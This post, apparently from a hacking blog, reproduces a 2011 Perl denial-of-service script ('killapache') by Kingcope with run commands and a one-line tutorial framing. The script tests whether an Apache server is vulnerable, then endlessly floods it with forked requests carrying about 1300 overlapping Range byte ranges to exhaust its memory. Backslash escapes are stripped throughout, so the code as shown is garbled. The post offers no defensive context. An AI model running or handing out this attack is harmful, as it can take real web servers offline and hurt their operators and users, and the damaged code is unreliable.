Kill Apache (Apache dos)

Script –
Code:
#Apache httpd Remote Denial of Service (memory exhaustion)
#By Kingcope
#Year 2011
#
# Will result in swapping memory to filesystem on the remote side
# plus killing of processes when running out of swap space.
# Remote System becomes unstable.
#

use IO::Socket;
use Parallel::ForkManager;

sub usage {
    print "Apache Remote Denial of Service (memory exhaustion)n";
    print "by Kingcopen";
    print "usage: perl killapache.pl <host> [numforks]n";
    print "example: perl killapache.pl www.example.com 50n";
}

sub killapache {
print "ATTACKING $ARGV[0] [using $numforks forks]n";

$pm = new Parallel::ForkManager($numforks);

$|=1;
srand(time());
$p = "";
for ($k=0;$k<1300;$k++) {
    $p .= ",5-$k";
}

for ($k=0;$k<$numforks;$k++) {
my $pid = $pm->start and next;    

$x = "";
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
     PeerPort => "80",
                  Proto    => 'tcp');

$p = "HEAD / HTTP/1.1rnHost: $ARGV[0]rnRange:bytes=0-$prnAccept-Encoding: gziprnConnection: closernrn";
print $sock $p;

while(<$sock>) {
}
$pm->finish;
}
$pm->wait_all_children;
print ":ppn";
}

sub testapache {
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
     PeerPort => "80",
                  Proto    => 'tcp');

$p = "HEAD / HTTP/1.1rnHost: $ARGV[0]rnRange:bytes=0-$prnAccept-Encoding: gziprnConnection: closernrn";
print $sock $p;

$x = <$sock>;
if ($x =~ /Partial/) {
    print "host seems vulnn";
    return 1;   
} else {
    return 0;   
}
}

if ($#ARGV < 0) {
    usage;
    exit;   
}

if ($#ARGV > 1) {
    $numforks = $ARGV[1];
} else {$numforks = 50;}

$v = testapache();
if ($v == 0) {
    print "Host does not seem vulnerablen";
    exit;   
}
while(1) {
killapache();
}

Command
perl -W killapache.pl 11.11.11.11
“perl killapache.pl http://www.example.com 50″

save file as killapache.pl


i understand this is a short tut but for those who have no idea its best you dont use this 😀

We will be happy to hear your thoughts

Leave a reply